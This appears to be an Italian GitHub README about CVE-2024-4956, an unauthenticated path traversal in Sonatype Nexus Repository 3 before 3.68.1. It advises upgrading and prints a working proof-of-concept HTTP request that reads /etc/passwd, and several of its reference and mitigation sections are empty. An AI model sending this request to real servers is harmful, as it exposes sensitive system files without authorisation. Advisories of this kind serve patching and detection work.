gmh5225/cve-2024-4956Path Traversal non autenticato in Nexus Repository 3
Nexus Repository Manager è un gestore di repository che organizza, memorizza e distribuisce gli artefatti necessari per lo sviluppo.
È stata scoperta una vulnerabilità di path traversal in Nexus Repository 3, nelle versioni precedenti alla 3.68.1. Questa vulnerabilità consente a un utente malintenzionato di creare un URL per scaricare file di sistema al di fuori dell'ambito dell'applicazione Nexus Repository, senza alcuna autenticazione. Ciò comporta un rischio significativo in quanto può esporre file di sistema sensibili e potenzialmente compromettere la sicurezza dell'ambiente in cui è installato Nexus Repository.
Si consiglia di aggiornare Nexus Repository alla versione 3.68.1 o successiva il prima possibile per mitigare questa vulnerabilità.
Per maggiori informazioni e dettagli tecnici sulla vulnerabilità, fare riferimento al seguente link:
Riferimenti:
La vulnerabilità riguarda le versioni dalla 3.0 alla 3.68.0 di Sonatype Nexus Repository Manager.
L'aggiornamento di Nexus Repository è l'approccio consigliato per eliminare questa vulnerabilità. Tuttavia, sono disponibili opzioni di mitigazione immediata per le distribuzioni che non possono aggiornare immediatamente:
Riferimenti:
GET /%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Con il PoC sopra, è possibile vedere l'accesso al file /etc/passwd:
(CVE-2024-4956.yaml) https://github.com/erickfernandox/CVE-2024-4956/blob/main/CVE-2024-4956.yaml